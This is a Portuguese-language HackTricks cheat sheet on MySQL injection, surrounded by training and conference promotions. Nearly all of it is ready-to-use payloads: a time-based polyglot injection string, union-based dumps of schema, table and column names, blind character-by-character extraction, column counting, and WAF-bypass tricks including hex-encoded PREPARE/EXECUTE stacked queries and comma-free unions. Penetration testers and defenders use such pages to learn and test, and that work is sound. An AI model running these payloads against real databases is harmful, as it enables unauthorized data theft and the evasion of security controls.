# MySQL injection
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** đŹ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositĂłrios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}
ââ[**RootedCON**](https://www.rootedcon.com/) Ă© o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missĂŁo de promover o conhecimento tĂ©cnico**, este congresso Ă© um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## ComentĂĄrios
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## FunçÔes Interessantes
### Confirmar Mysql:
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
### FunçÔes Ășteis
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat() FROM
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Todas as injeçÔes
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Fluxo
Lembre-se de que nas versĂ”es "modernas" do **MySQL** vocĂȘ pode substituir "_**information\_schema.tables**_" por "_**mysql.innodb\_table\_stats**_**"** (Isso pode ser Ăștil para contornar WAFs).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table
SELECT , FROM ; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Apenas 1 valor**
* `group_concat()`
* `Limit X,1`
### **Cego um por um**
* `substr(version(),X,1)='r'` ou `substring(version(),X,1)=0x70` ou `ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
### **Cego adicionando**
* `LPAD(version(),1...comprimento(version()),'1')='asd'...`
* `RPAD(version(),1...comprimento(version()),'1')='asd'...`
* `SELECT RIGHT(version(),1...comprimento(version()))='asd'...`
* `SELECT LEFT(version(),1...comprimento(version()))='asd'...`
* `SELECT INSTR('foobarbar', 'fo...')=1`
## Detectar nĂșmero de colunas
Usando um simples ORDER
```
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Union Based
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Aprenda aqui diferentes opçÔes para** [**abusar de uma injeção Mysql para obter um SSRF**](mysql-ssrf.md)**.**
## Truques de bypass de WAF
### Executando consultas através de Prepared Statements
Quando consultas empilhadas sĂŁo permitidas, pode ser possĂvel contornar WAFs atribuindo a uma variĂĄvel a representação em hex do comando que vocĂȘ deseja executar (usando SET), e entĂŁo usar os comandos PREPARE e EXECUTE do MySQL para, em Ășltima anĂĄlise, executar a consulta. Algo assim:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Para mais informaçÔes, consulte [este post no blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Alternativas ao information_schema
Lembre-se de que nas versĂ”es "modernas" do **MySQL** vocĂȘ pode substituir _**information_schema.tables**_ por _**mysql.innodb_table_stats**_ ou por _**sys.x$schema_flattened_keys**_ ou por **sys.schema_table_statistics**.
### MySQLinjection sem VĂRGULAS
Selecione 2 colunas sem usar nenhuma vĂrgula ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Recuperando valores sem o nome da coluna
Se em algum momento vocĂȘ souber o nome da tabela, mas nĂŁo souber o nome das colunas dentro da tabela, vocĂȘ pode tentar descobrir quantas colunas existem executando algo como:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supondo que haja 2 colunas (sendo a primeira o ID) e a outra o flag, vocĂȘ pode tentar forçar o conteĂșdo do flag tentando caractere por caractere:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Mais informaçÔes em [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### HistĂłria do MySQL
VocĂȘ pode ver outras execuçÔes dentro do MySQL lendo a tabela: **sys.x$statement\_analysis**
### VersĂŁo alternativa**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Outros guias de injeção MYSQL
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## ReferĂȘncias
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
ââââ[**RootedCON**](https://www.rootedcon.com/) Ă© o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missĂŁo de promover o conhecimento tĂ©cnico**, este congresso Ă© um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** đŹ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositĂłrios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}